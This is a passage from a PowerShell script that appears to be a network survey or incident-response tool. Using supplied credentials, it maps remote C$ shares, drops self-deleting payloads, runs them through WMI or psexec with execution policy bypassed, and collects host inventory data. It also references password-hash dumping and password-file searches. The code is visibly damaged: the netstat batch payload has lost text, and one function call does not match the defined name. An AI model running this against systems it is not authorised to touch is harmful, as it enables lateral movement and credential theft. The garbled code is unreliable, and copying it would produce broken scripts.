if($HostIP) 3384 | { 3385 | Return $HostIP[0] 3386 | } 3387 | } 3388 | } 3389 | 3390 | #script block to find active machines 3391 | [ScriptBlock] $ActiveComputers_SB = { 3392 | 3393 | param($RHost, $scan) 3394 | 3395 | Function DeleteShare 3396 | { 3397 | param($IPAddress) 3398 | 3399 | if($scan.Creds) 3400 | { 3401 | net use \\$IPAddress\c$ /delete 2>&1|Out-Null 3402 | } 3403 | } 3404 | 3405 | Function MapDrive 3406 | { 3407 | param($IPAddress) 3408 | net use \\$IPAddress\c$ /user:$UserLogon $($scan.Creds.GetNetworkCredential().password) 2>&1|Out-Null 3409 | if(-not $?) 3410 | { 3411 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$IPAddress,Can't Map Drive" | 3412 | Add-Content "$($scan.TEMP_DIR)\ErrorLog.csv" 3413 | Return $FALSE 3414 | } 3415 | Return $TRUE 3416 | } 3417 | 3418 | Function TestSMB 3419 | { 3420 | Param($HostIP) 3421 | [socket] $socket = New-Object net.sockets.tcpclient 3422 | [IAsyncResult] $result = $socket.BeginConnect("$HostIP",445,$null,$null) 3423 | [Boolean] $success = $result.AsyncWaitHandle.WaitOne(2500,$true) #2.5 second timeout 3424 | if($success) 3425 | { 3426 | try { 3427 | if(Test-Path "\\$HostIP\c$" -ErrorAction Stop){$True} 3428 | } Catch {$False} 3429 | } 3430 | else{$False} 3431 | $socket.close() 3432 | } 3433 | 3434 | If($scan.creds) 3435 | { 3436 | $UserDomain = $scan.Creds.GetNetworkCredential().domain 3437 | $UserName = $scan.Creds.GetNetworkCredential().username 3438 | if($userDomain) 3439 | { 3440 | $UserLogon = "$UserDomain\$UserName" 3441 | } 3442 | else 3443 | { 3444 | $UserLogon = "$UserName" 3445 | } 3446 | $DeleteShare = $True 3447 | } 3448 | else 3449 | { 3450 | $DeleteShare = $False 3451 | } 3452 | 3453 | $RHost | % { 3454 | $Comp = $_.split(",")[0] 3455 | $OSCaption = $_.split(",")[1] 3456 | $Ver = $_.split(",")[2] 3457 | if(-not $Ver) #If version was not found then $Comp is an IP address 3458 | { 3459 | $HostIP = $Comp 3460 | if($scan.Creds) 3461 | { 3462 | If(-not (MapDrive $HostIP)){Return} 3463 | } 3464 | if(Test-SMB) 3465 | { 3466 | try { 3467 | if($scan.Creds) 3468 | { 3469 | $OS = Get-WmiObject -ComputerName $HostIP Win32_OperatingSystem -Credential $scan.Creds -ErrorAction Stop 3470 | } 3471 | Else 3472 | { 3473 | $OS = Get-WmiObject -ComputerName $HostIP Win32_OperatingSystem -ErrorAction Stop 3474 | } 3475 | } Catch { 3476 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$HostIP,WMI failed" | 3477 | Add-Content "$($scan.TEMP_DIR)\ErrorLog.csv" 3478 | DeleteShare $HostIP 3479 | Return 3480 | } 3481 | 3482 | $Comp = $OS.CSName 3483 | $OSCaption = $OS.caption.replace(',', '').replace('Microsoft ', '') 3484 | $Ver = $OS.version 3485 | DeleteShare $HostIP 3486 | Return $Comp+","+$HostIP+","+$OSCaption+","+$Ver 3487 | } 3488 | else 3489 | { 3490 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$HostIP,Test-Path failed" | 3491 | Add-Content "$($scan.TEMP_DIR)\ErrorLog.csv" 3492 | DeleteShare $HostIP 3493 | Return 3494 | } 3495 | } 3496 | else{ 3497 | $HostIP = ([System.Net.Dns]::GetHostEntry("$Comp")).addresslist|%{$_.IPAddressToString} 3498 | if(-not $HostIP) #Host name cannot be resolved 3499 | { 3500 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$HostIP,Can't Resolve DNS" | 3501 | Add-Content "$($scan.TEMP_DIR)\ErrorLog.csv" 3502 | Return 3503 | } 3504 | } 3505 | if($scan.Creds) 3506 | { 3507 | If(-not (MapDrive $HostIP)){Return} 3508 | } 3509 | if (TestSMB $HostIP) 3510 | { 3511 | $Ver = $Ver.substring(0,3) 3512 | If($DeleteShare) 3513 | { 3514 | DeleteShare $HostIP 3515 | } 3516 | Return $Comp+","+$HostIP+","+$OSCaption+","+$Ver 3517 | } 3518 | else 3519 | { 3520 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$Comp,Test-Path failed" | 3521 | Add-Content "$($scan.TEMP_DIR)\ErrorLog.csv" 3522 | If($DeleteShare) 3523 | { 3524 | DeleteShare $HostIP 3525 | } 3526 | } 3527 | } 3528 | } 3529 | 3530 | #scriptblock to execute psexec on remote hosts 3531 | [ScriptBlock] $RemoteExec_SB = { 3532 | param($RHost, $scan) 3533 | 3534 | $HostName=$RHost.split(",")[0] 3535 | $HostIP=$RHost.split(",")[1] 3536 | [double] $ver = $RHost.split(",")[3] 3537 | 3538 | Function DeleteShare 3539 | { 3540 | if($scan.Creds) 3541 | { 3542 | net use \\$HostIP\c$ /delete |Out-Null 3543 | } 3544 | } 3545 | 3546 | if($ver -ge 6.1) #powershell for win7+ 3547 | { 3548 | $Rcode = "PSExecShellCode.ps1" 3549 | $PSCode = $scan.PS1Code 3550 | $PSexecArgs = 'echo . | powershell -ExecutionPolicy Bypass c:\PSExecShellCode.ps1' 3551 | $WMIArgs = 'powershell -ExecutionPolicy Bypass c:\PSExecShellCode.ps1' 3552 | $ps=$true 3553 | } 3554 | else 3555 | { 3556 | $Rcode = "PSExecShellCode.bat" 3557 | $PSCode = $scan.BATCode 3558 | $ps=$false 3559 | $PSexecArgs = 'cmd /c c:\PSExecShellCode.bat' 3560 | $WMIArgs = 'c:\PSExecShellCode.bat' 3561 | switch($scan.RemoteDataFile) 3562 | { 3563 | #Scans only available on win7+ 3564 | "HashDump392125281" {Return} 3565 | "hashes392125281" {Return} 3566 | } 3567 | } 3568 | "$Rhost $Rcode" | Add-Content D:\log.txt 3569 | 3570 | if($scan.Creds) 3571 | { 3572 | $UserDomain = $scan.Creds.GetNetworkCredential().domain 3573 | $UserName = $scan.Creds.GetNetworkCredential().username 3574 | if($userDomain) 3575 | { 3576 | $UserLogon = "$UserDomain\$UserName" 3577 | } 3578 | else 3579 | { 3580 | $UserLogon = "$UserName" 3581 | } 3582 | 3583 | net use \\$HostIP\c$ /user:$UserLogon $($scan.Creds.GetNetworkCredential().password) 2>&1|Out-Null 3584 | if(-not $?){Return} 3585 | } 3586 | 3587 | if (Test-Path "\\$HostIP\c$\$Rcode") 3588 | { 3589 | Remove-Item -Path "\\$HostIP\c$\$Rcode" -Force 3590 | } 3591 | 3592 | try{ 3593 | $PSCode | Add-Content "\\$HostIP\c$\$Rcode" -ErrorAction Stop 3594 | } catch { 3595 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$HostName,Copy failed" | Add-Content "$($scan.TEMP_DIR)\ErrorLog.csv" 3596 | DeleteShare 3597 | Return 3598 | } 3599 | 3600 | 3601 | if($scan.Creds) 3602 | { 3603 | $Success = (Invoke-WmiMethod -ComputerName $HostIP -credential $scan.creds -path win32_process -name create -argumentlist $WMIArgs).ProcessID 3604 | } 3605 | else 3606 | { 3607 | $Success = (Invoke-WmiMethod -ComputerName $HostIP -path win32_process -name create -argumentlist $WMIArgs).ProcessID 3608 | } 3609 | 3610 | if ((-not $success) -and $scan.psexec) 3611 | { 3612 | if($scan.Creds) 3613 | { 3614 | $Success = (&$scan.psexec -accepteula -s -d "\\$HostIP" -u $UserLogon -p $($scan.Creds.GetNetworkCredential().password) cmd /c $PSexecArgs 2>&1| 3615 | Select-String "started on $HostIP") 3616 | } 3617 | else 3618 | { 3619 | $Success = (&$scan.psexec -accepteula -s -d "\\$HostIP" cmd /c $PSexecArgs 2>&1|Select-String "started on $HostIP") 3620 | } 3621 | } 3622 | 3623 | if($Success) 3624 | { 3625 | DeleteShare 3626 | Return $RHost 3627 | } 3628 | else 3629 | { 3630 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$HostName,Remote Execution failed" | Add-Content "$($scan.TEMP_DIR)\ErrorLog.csv" 3631 | Remove-Item -Path "\\$HostIP\c$\PSExecShellCode.*" -Force -ErrorAction SilentlyContinue 3632 | DeleteShare 3633 | } 3634 | } 3635 | 3636 | #Job to kill hung psexec processes after 15 seconds 3637 | [ScriptBlock] $PSexecWatcher = { 3638 | While($true){ 3639 | $PSexecProcs = get-process psexec -ErrorAction SilentlyContinue 3640 | if($PSexecProcs){ 3641 | $PSexecProcs| %{ 3642 | if ($_.Starttime -ilt $(get-date).AddSeconds(-30)) 3643 | { 3644 | Stop-Process -Id $_.Id -Force 3645 | } 3646 | } 3647 | } 3648 | sleep 1 3649 | } 3650 | } 3651 | 3652 | #script block to collect data file from remote hosts 3653 | [ScriptBlock] $CollectFiles_SB = { 3654 | param($RHost, $scan) 3655 | 3656 | Function DeleteShare 3657 | { 3658 | if($scan.Creds) 3659 | { 3660 | net use "\\$HostIP\c$" /delete |Out-Null 3661 | } 3662 | } 3663 | 3664 | $HostName = $RHost.split(",")[0] 3665 | $HostIP = $RHost.split(",")[1] 3666 | [double] $ver = $RHost.split(",")[3] 3667 | 3668 | if($scan.Creds) 3669 | { 3670 | $UserDomain = $scan.Creds.GetNetworkCredential().domain 3671 | $UserName = $scan.Creds.GetNetworkCredential().username 3672 | if($userDomain) 3673 | { 3674 | $UserLogon = "$UserDomain\$UserName" 3675 | } 3676 | else 3677 | { 3678 | $UserLogon = "$UserName" 3679 | } 3680 | 3681 | net use \\$HostIP\c$ /user:$UserLogon $($scan.Creds.GetNetworkCredential().password) 2>&1|Out-Null 3682 | if(-not $?){Return} 3683 | } 3684 | 3685 | if($ver -ge 6.1){$Rcode = "PSExecShellCode.ps1"} 3686 | else {$Rcode = "PSExecShellCode.bat"} 3687 | 3688 | for($i=0; $i -lt $scan.TimeOut; $i++) #wait until scan finishes 3689 | { 3690 | if (Test-Path "\\$HostIP\c$\$Rcode"){sleep 1} 3691 | else {break} 3692 | } 3693 | 3694 | #log scan time-out error 3695 | if($i -eq $scan.TimeOut){"$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$HostName,Scan Timed-out"| Add-Content "$($scan.TEMP_DIR)\ErrorLog.csv"} 3696 | 3697 | if (Test-Path "\\$HostIP\c$\$($scan.RemoteDataFile)") 3698 | { 3699 | $ErrorActionPreference_temp = $ErrorActionPreference 3700 | $ErrorActionPreference = "Stop" 3701 | for($j=0; $j -lt $scan.TimeOut; $j++) #wait for file to unlock 3702 | { 3703 | try { 3704 | 3705 | if($scan.RemoteDataFile -eq "hashes392125281") 3706 | { 3707 | $content = (get-content "\\$HostIP\C$\$($scan.RemoteDataFile)"|Where{$_}) 3708 | $scan.Data = ($scan.Data + ($content | %{ 3709 | $t=$_.split(",") 3710 | $t[1]+","+$t[3] 3711 | })| sort -Unique) 3712 | $scan.mtx.waitone() |Out-Null 3713 | Add-content -Path "$($scan.TEMP_DIR)\output.txt" -Value $content 3714 | $scan.mtx.ReleaseMutex() 3715 | } 3716 | else 3717 | { 3718 | $scan.mtx.waitone() |Out-Null 3719 | Add-content -Path "$($scan.TEMP_DIR)\output.txt" -Value (get-content "\\$HostIP\C$\$($scan.RemoteDataFile)" |where{$_}) 3720 | $scan.mtx.ReleaseMutex() 3721 | } 3722 | Remove-Item -Force "\\$HostIP\C$\$($scan.RemoteDataFile)" 3723 | break 3724 | } catch { 3725 | $scan.mtx.ReleaseMutex() 3726 | start-sleep -Seconds 1 3727 | } 3728 | } 3729 | $ErrorActionPreference = $ErrorActionPreference_temp 3730 | } 3731 | else 3732 | { 3733 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$HostName,Absent Data-file"| Add-Content "$($scan.TEMP_DIR)\ErrorLog.csv" 3734 | } 3735 | 3736 | if($j -eq $scan.TimeOut) 3737 | { 3738 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$HostName,Collect Timed-out"| Add-Content "$($scan.TEMP_DIR)\ErrorLog.csv" 3739 | } 3740 | DeleteShare 3741 | } 3742 | 3743 | [ScriptBlock] $LoggedOnUsers_SB = { 3744 | param($RHost, $scan) 3745 | $HostName=$RHost.split(",")[0] 3746 | $HostIP=$RHost.split(",")[1] 3747 | 3748 | try{ 3749 | Get-WmiObject win32_ComputerSystem -ComputerName $HostIP -ErrorAction Stop|%{ 3750 | $scan.mtx.waitone() |Out-Null 3751 | $_.Name+","+$_.UserName|Add-Content "$($scan.TEMP_DIR)\LoggedOnUsers.txt" 3752 | $scan.mtx.ReleaseMutex() 3753 | } 3754 | } catch { 3755 | continue 3756 | } 3757 | } 3758 | 3759 | [ScriptBlock] $PingSweepSB = { 3760 | param($RHost, $scan) 3761 | 3762 | $ping = (Test-Connection $RHost -Count 1).ResponseTimeToLive 3763 | 3764 | if($ping) 3765 | { 3766 | $scan.mtx.waitone() |Out-Null 3767 | "$RHost,$ping"|Add-Content "$($scan.TEMP_DIR)\PingSweep.txt" 3768 | $scan.mtx.ReleaseMutex() 3769 | } 3770 | } 3771 | 3772 | [ScriptBlock] $CleanUpSB = { 3773 | 3774 | param($RHost, $scan) 3775 | $HostName = $RHost.split(",")[0] 3776 | $HostIP = $RHost.split(",")[1] 3777 | 3778 | $ScriptFiles = 3779 | "PSExecShellCode.bat", 3780 | "PSExecShellCode.ps1" 3781 | $DataFiles = 3782 | "UserExeSearch", 3783 | "USB_Enumeration", 3784 | "AutoRunDisable", 3785 | "StartUpPrograms", 3786 | "ScheduledTasks", 3787 | "RunningProcs", 3788 | "Drivers", 3789 | "Services", 3790 | "Netstat", 3791 | "InstalledSoftware", 3792 | "NetworkShares", 3793 | "HotFixData", 3794 | "AntivirusStatus", 3795 | "LocalAccounts", 3796 | "ImageFileSearch", 3797 | "VideoFileSearch", 3798 | "ScriptFileSearch", 3799 | "ExecutableFileSearch", 3800 | "DataFileSearch", 3801 | "PasswordFileSearch", 3802 | "hashes", 3803 | "HashDump" 3804 | 3805 | if($scan.Creds) 3806 | { 3807 | $UserDomain = $scan.Creds.GetNetworkCredential().domain 3808 | $UserName = $scan.Creds.GetNetworkCredential().username 3809 | if($userDomain) 3810 | { 3811 | $UserLogon = "$UserDomain\$UserName" 3812 | } 3813 | else 3814 | { 3815 | $UserLogon = "$UserName" 3816 | } 3817 | 3818 | net use \\$HostIP\c$ /user:$UserLogon $($scan.Creds.GetNetworkCredential().password) 2>&1|Out-Null 3819 | if(-not $?){Return} 3820 | } 3821 | 3822 | foreach($DataFile in $DataFiles){ 3823 | if(Test-Path "\\$HostIP\c$\${DataFile}392125281") 3824 | { 3825 | try { 3826 | Remove-Item -Force "\\$HostIP\c$\${DataFile}392125281" -ErrorAction Stop 3827 | } catch { 3828 | $scan.mtx.waitone()|out-null 3829 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$HostName,Data-File Removal Failed ($DataFile)"|Add-Content "$($scan.OUT_DIR)\CleanUpErrorLog.csv" 3830 | $scan.mtx.ReleaseMutex() 3831 | } 3832 | } 3833 | } 3834 | foreach($ScriptFile in $ScriptFiles){ 3835 | if(Test-Path "\\$HostIP\c$\$ScriptFile") 3836 | { 3837 | try { 3838 | Remove-Item -Force "\\$HostIP\c$\$ScriptFile" -ErrorAction Stop 3839 | } catch { 3840 | $scan.mtx.waitone()|out-null 3841 | "$((get-date).ToString('yyyy-MMM-dd hh:mm:ss')),$HostName,Script-File Removal Failed ($ScriptFile)"|Add-Content "$($scan.OUT_DIR)\CleanUpErrorLog.csv" 3842 | $scan.mtx.ReleaseMutex() 3843 | } 3844 | } 3845 | } 3846 | 3847 | if($scan.creds) 3848 | { 3849 | net use \\$HostIP\c$ /delete 2>&1 | Out-Null 3850 | } 3851 | } 3852 | 3853 | 3854 | ############################################ 3855 | # END Multi-threading script blocks 3856 | ############################################ 3857 | 3858 | 3859 | ############################################ 3860 | #### START Initialize Variables #### 3861 | ############################################ 3862 | 3863 | ############################################ 3864 | #START Script Blocks for Deployable payloads 3865 | ############################################ 3866 | $UserExeSearchCode_BAT = @' 3867 | @echo off 3868 | IF EXIST "C:\UserExeSearch392125281" DEL "C:\UserExeSearch392125281" 3869 | for /R "c:\documents and settings" %%f in (*.exe) do echo %COMPUTERNAME%,%%~nxf,%%~dpf >> "C:\UserExeSearch392125281" 3870 | (goto) 2>nul & del "%~f0" 3871 | '@ 3872 | $UserExeSearchCode_PS1 = @' 3873 | if (Test-Path "C:\UserExeSearch392125281"){Remove-Item -Force "C:\UserExeSearch392125281"} 3874 | Get-ChildItem -Recurse -Force "c:\Users" -ErrorAction SilentlyContinue -Include *.exe 2>$null | 3875 | ?{$_.FullName -NotMatch "Application Data"}| 3876 | foreach {$env:COMPUTERNAME+","+$_.name+","+$_.Directoryname}| 3877 | Out-file "C:\UserExeSearch392125281" 3878 | Remove-Item -Force "C:\PSExecShellCode.ps1" 3879 | '@ 3880 | $StartUpProgramsCode_BAT = @' 3881 | @echo off 3882 | IF EXIST "C:\StartUpPrograms392125281" DEL "C:\StartUpPrograms392125281" 3883 | setlocal enabledelayedexpansion 3884 | for /F "tokens=1-2* delims==" %%A in ('wmic startup get command^,user^,description^,location /format:list ^|findstr .') DO ( 3885 | set /a var=!var!+1 3886 | set str=%%B 3887 | IF !var!==1 set Command=!str:~0,-1! 3888 | IF !var!==2 set Description=!str:~0,-1! 3889 | IF !var!==3 Set Location=!str:~0,-1! 3890 | IF !var!==4 ( 3891 | set User=!str:~0,-1! 3892 | set Command=!Command:,=! 3893 | IF "!Command!"==",=" set Command= 3894 | set Description=!Description:,=! 3895 | IF "!Description!"==",=" set Description= 3896 | echo %COMPUTERNAME%,!Command!,!Description!,!Location!,!User! >> "C:\StartUpPrograms392125281" 3897 | set /a var=0 3898 | ) 3899 | ) 3900 | (goto) 2>nul & del "%~f0" 3901 | '@ 3902 | $StartUpProgramsCode_PS1 = @' 3903 | if (Test-Path "C:\StartUpPrograms392125281"){Remove-Item -Force "C:\StartUpPrograms392125281"} 3904 | try{ 3905 | Get-WmiObject Win32_startupcommand | 3906 | foreach {$env:COMPUTERNAME+","+$_.command+","+$_.description+","+$_.location+","+$_.user}| 3907 | Out-file "C:\StartUpPrograms392125281" 3908 | } catch { 3909 | Remove-Item -Force "C:\PSExecShellCode.ps1" 3910 | Remove-Item -Force "C:\StartUpPrograms392125281" 3911 | exit 3912 | } 3913 | Remove-Item -Force "C:\PSExecShellCode.ps1" 3914 | '@ 3915 | $RunningProcsCode_BAT = @' 3916 | @echo off 3917 | IF EXIST "C:\RunningProcs392125281" DEL "C:\RunningProcs392125281" 3918 | wmic process get name,executablepath,ProcessID /FORMAT:csv |findstr /v Node >> "C:\RunningProcs392125281" 3919 | (goto) 2>nul & del "%~f0" 3920 | '@ 3921 | $RunningProcsCode_PS1 = @' 3922 | if (Test-Path "C:\RunningProcs392125281"){Remove-Item -Force "C:\RunningProcs392125281"} 3923 | try{ 3924 | Get-WmiObject Win32_process | 3925 | foreach {$env:COMPUTERNAME+","+$_.ExecutablePath+","+$_.Name+","+$_.ProcessID}| 3926 | Out-file "C:\RunningProcs392125281" 3927 | } catch { 3928 | Remove-Item -Force "C:\PSExecShellCode.ps1" 3929 | Remove-Item -Force "C:\RunningProcs392125281" 3930 | exit 3931 | } 3932 | Remove-Item -Force "C:\PSExecShellCode.ps1" 3933 | '@ 3934 | $QueryDriversCode_BAT = @' 3935 | @echo off 3936 | IF EXIST "C:\Drivers392125281" DEL "C:\Drivers392125281" 3937 | wmic sysdriver get DisplayName, Name, State, Status, Started, Description /format:csv |findstr /v Node >> "C:\Drivers392125281" 3938 | (goto) 2>nul & del "%~f0" 3939 | '@ 3940 | $QueryDriversCode_PS1 = @' 3941 | if (Test-Path "C:\Drivers392125281"){Remove-Item -Force "C:\Drivers392125281"} 3942 | try{ 3943 | Get-WmiObject Win32_systemdriver | 3944 | foreach {$env:COMPUTERNAME+","+$_.Description+","+$_.DisplayName+","+$_.Name+","+$_.started+","+$_.state+","+$_.status}| 3945 | Out-file "C:\Drivers392125281" 3946 | } catch { 3947 | Remove-Item -Force "C:\PSExecShellCode.ps1" 3948 | Remove-Item -Force "C:\Drivers392125281" 3949 | exit 3950 | } 3951 | Remove-Item -Force "C:\PSExecShellCode.ps1" 3952 | '@ 3953 | $QueryServicesCode_BAT = @' 3954 | @echo off 3955 | IF EXIST "C:\Services392125281" DEL "C:\Services392125281" 3956 | wmic service get Name,StartMode,State,Status /format:csv |findstr /v Node >> "C:\Services392125281" 3957 | (goto) 2>nul & del "%~f0" 3958 | '@ 3959 | $QueryServicesCode_PS1 = @' 3960 | if (Test-Path "C:\Services392125281"){Remove-Item -Force "C:\Services392125281"} 3961 | try{ 3962 | Get-WmiObject Win32_service | 3963 | foreach {$env:COMPUTERNAME+","+$_.Name+","+$_.StartMode+","+$_.state+","+$_.status}| 3964 | Out-file "C:\Services392125281" 3965 | } catch { 3966 | Remove-Item -Force "C:\PSExecShellCode.ps1" 3967 | Remove-Item -Force "C:\Services392125281" 3968 | exit 3969 | } 3970 | Remove-Item -Force "C:\PSExecShellCode.ps1" 3971 | '@ 3972 | $NetstatCode_BAT = @' 3973 | @echo off 3974 | IF EXIST "C:\Netstat392125281" DEL "C:\Netstat392125281" 3975 | for /F "tokens=1-7 delims=: " %%A in ('netstat -ano -p TCP ^|findstr TCP') do ( 3976 | wmic process where "ProcessID=%%G" get name 2>nul|findstr /v Name > temp185236497 3977 | set /p PROC=> "C:\Netstat392125281" 3980 | endlocal 3981 | del temp185236497 3982 | ) 3983 | (goto) 2>nul & del "%~f0" 3984 | '@ 3985 | $NetstatCode_PS1 = @' 3986 | if (Test-Path "C:\Netstat392125281"){Remove-Item -Force "C:\Netstat392125281"} 3987 | try{ 3988 | (netstat -ano -p TCP | Select-String -Pattern '\s+(TCP)' | 3989 | ForEach-Object {$env:COMPUTERNAME + ((($_ -replace '\s+', ',') -replace '\[::\]', '') -replace ':', ',')}) | 3990 | %{ $_.Split(',')[0] +","+ $_.Split(',')[2] +","+ 3991 | $_.Split(',')[3] +","+ $_.Split(',')[4] +","+ $_.Split(',')[5] +","+ 3992 | $_.Split(',')[6] +","+ $(Get-Process -Id $($_.Split(',')[7])).Name +","+ $_.Split(',')[7] }| 3993 | Out-file "C:\Netstat392125281" 3994 | } catch { 3995 | Remove-Item -Force "C:\PSExecShellCode.ps1" 3996 | Remove-Item -Force "C:\Netstat392125281" 3997 | exit 3998 | } 3999 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4000 | '@ 4001 | $InstalledSoftwareCode_BAT = @' 4002 | @echo off 4003 | IF EXIST "C:\InstalledSoftware392125281" DEL "C:\InstalledSoftware392125281" 4004 | setlocal enabledelayedexpansion 4005 | for /F "tokens=1-2* delims==" %%A in ('wmic product get Name^, Vendor^, Version^, InstallDate^, InstallLocation /format:List ^|findstr .') DO ( 4006 | set /a var=!var!+1 4007 | set str=%%B 4008 | IF !var!==1 set InstallDate=!str:~0,-1! 4009 | IF !var!==2 set InstallLocation=!str:~0,-1! 4010 | IF !var!==3 Set Name=!str:~0,-1! 4011 | IF !var!==4 set Vendor=!str:~0,-1! 4012 | IF !var!==5 ( 4013 | set Version=!str:~0,-1! 4014 | set Name=!Name:,=! 4015 | IF "!Name!"==",=" set Name= 4016 | set Vendor=!Vendor:,=! 4017 | IF "!Vendor!"==",=" set Vendor= 4018 | echo %COMPUTERNAME%,!InstallDate!,!InstallLocation!,!Name!,!Vendor!,!Version! >> "C:\InstalledSoftware392125281" 4019 | set /a var=0 4020 | ) 4021 | ) 4022 | endlocal 4023 | (goto) 2>nul & del "%~f0" 4024 | '@ 4025 | $InstalledSoftwareCode_PS1 = @' 4026 | if (Test-Path "C:\InstalledSoftware392125281"){Remove-Item -Force "C:\InstalledSoftware392125281"} 4027 | try{ 4028 | Get-WmiObject win32_product| 4029 | foreach {$env:COMPUTERNAME+","+$_.InstallDate+","+$_.InstallLocation+","+($_.Name -replace ',', '')+","+($_.Vendor -replace ',', '')+","+$_.version}| 4030 | Out-file "C:\InstalledSoftware392125281" 4031 | } catch { 4032 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4033 | Remove-Item -Force "C:\InstalledSoftware392125281" 4034 | exit 4035 | } 4036 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4037 | '@ 4038 | $SharesCode_BAT = @' 4039 | @echo off 4040 | IF EXIST "C:\NetworkShares392125281" DEL "C:\NetworkShares392125281" 4041 | wmic share list brief /format:csv |findstr /v Node >> "C:\NetworkShares392125281" 4042 | (goto) 2>nul & del "%~f0" 4043 | '@ 4044 | $SharesCode_PS1 = @' 4045 | if (Test-Path "C:\NetworkShares392125281"){Remove-Item -Force "C:\NetworkShares392125281"} 4046 | try{ 4047 | Get-WmiObject win32_share | 4048 | foreach {$env:COMPUTERNAME+","+$_.description+","+$_.Name+","+$_.Path}| 4049 | Out-file "C:\NetworkShares392125281" 4050 | } catch { 4051 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4052 | Remove-Item -Force "C:\NetworkShares392125281" 4053 | exit 4054 | } 4055 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4056 | '@ 4057 | $HotFixCode_BAT = @' 4058 | @echo off 4059 | IF EXIST "C:\HotFixData392125281" DEL "C:\HotFixData392125281" 4060 | wmic qfe get Description,HotFixID,InstalledBy,InstalledOn /format:csv |findstr /v /c:Node /c:"File 1" >> "C:\HotFixData392125281" 4061 | (goto) 2>nul & del "%~f0" 4062 | '@ 4063 | $HotFixCode_PS1 = @' 4064 | if (Test-Path "C:\HotFixData392125281"){Remove-Item -Force "C:\HotFixData392125281"} 4065 | try{ 4066 | Get-Hotfix| 4067 | foreach {$env:COMPUTERNAME+","+$_.Description+","+$_.HotFixID+","+$_.InstalledBy+","+$_.InstalledOn}| 4068 | Out-file "C:\HotFixData392125281" 4069 | } catch { 4070 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4071 | Remove-Item -Force "C:\HotFixData392125281" 4072 | exit 4073 | } 4074 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4075 | '@ 4076 | $AntivirusStatusCode_BAT = @' 4077 | @echo off 4078 | IF EXIST "C:\AntivirusStatus392125281" DEL "C:\AntivirusStatus392125281" 4079 | WMIC /Namespace:\\root\SecurityCenter Path AntiVirusProduct get displayName,versionNumber,onAccessScanningEnabled,productUptoDate /format:csv |findstr /v Node > "C:\AntivirusStatus392125281" 4080 | for /F %%F in ("C:\AntivirusStatus392125281") do if %%~zF lss 4 echo %COMPUTERNAME%,AV Not Found > "C:\AntivirusStatus392125281" 4081 | (goto) 2>nul & del "%~f0" 4082 | '@ 4083 | $AntivirusStatusCode_PS1 = @' 4084 | if (Test-Path "C:\AntivirusStatus392125281"){Remove-Item -Force "C:\AntivirusStatus392125281"} 4085 | try{ 4086 | Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct |%{ 4087 | if(-not $_.versionNumber){ 4088 | $version = (Get-Command $_.pathToSignedProductExe.tostring()).FileVersionInfo.ProductVersion 4089 | if(-not $version){ 4090 | $version = (Get-Command $_.pathToSignedReportingExe.tostring()).FileVersionInfo.ProductVersion 4091 | } 4092 | } else {$version = $_.versionNumber} 4093 | $env:COMPUTERNAME+","+$_.displayName+","+$_.productstate+","+$version 4094 | } | %{ 4095 | $ProductCode=$_.Split(',')[2] 4096 | $rtstatus = ([convert]::toInt32("$ProductCode").tostring("X6")).substring(2, 2) 4097 | $defstatus = ([convert]::toInt32("$ProductCode").tostring("X6")).substring(4, 2) 4098 | if ($rtstatus -eq "10"){$rtstatus = $true} 4099 | else {$rtstatus = $false} 4100 | if ($defstatus -eq "00"){$defstatus=$true} 4101 | else{$defstatus=$false} 4102 | $_.Split(',')[0]+","+$_.Split(',')[1]+","+$rtstatus+","+$defstatus+","+$_.Split(',')[3] 4103 | }|Out-file "C:\AntivirusStatus392125281" 4104 | } catch { 4105 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4106 | Remove-Item -Force "C:\AntivirusStatus392125281" 4107 | exit 4108 | } 4109 | If(-Not (Get-Content C:\AntivirusStatus392125281|Where{$_})) 4110 | { 4111 | "$env:COMPUTERNAME,AV Not Found"|Out-File "C:\AntivirusStatus392125281" 4112 | } 4113 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4114 | '@ 4115 | $AutoRunDisableCode_BAT = @' 4116 | @echo off 4117 | IF EXIST "C:\AutoRunDisable392125281" DEL "C:\AutoRunDisable392125281" 4118 | for /F "tokens=1-3" %%A in ('reg query HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\explorer ^|findstr NoDriveTypeAutoRun') do ( 4119 | IF %%C EQU 0xFF (echo %COMPUTERNAME%,TRUE ) ELSE echo %COMPUTERNAME%,FALSE 4120 | ) >> "C:\AutoRunDisable392125281" 4121 | IF NOT EXIST "C:\AutoRunDisable392125281" ECHO %COMPUTERNAME%,FALSE > "C:\AutoRunDisable392125281" 4122 | (goto) 2>nul & del "%~f0" 4123 | '@ 4124 | $AutoRunDisableCode_PS1=@' 4125 | if (Test-Path "C:\AutoRunDisable392125281"){Remove-Item -Force "C:\AutoRunDisable392125281"} 4126 | try{ 4127 | $NoAutoRun = (Get-ItemProperty -Path HKLM:software\microsoft\windows\currentversion\policies\explorer -Name NoAutoRun).NoAutoRun 4128 | if($NoAutoRun) 4129 | { 4130 | $env:COMPUTERNAME+",TRUE"|Out-file "C:\AutoRunDisable392125281" 4131 | } 4132 | else 4133 | { 4134 | $env:COMPUTERNAME+",FALSE"|Out-file "C:\AutoRunDisable392125281" 4135 | } 4136 | } catch { 4137 | #Remove-Item -Force "C:\PSExecShellCode.ps1" 4138 | #Remove-Item -Force "C:\AutoRunDisable392125281" 4139 | #exit 4140 | continue 4141 | } 4142 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4143 | '@ 4144 | 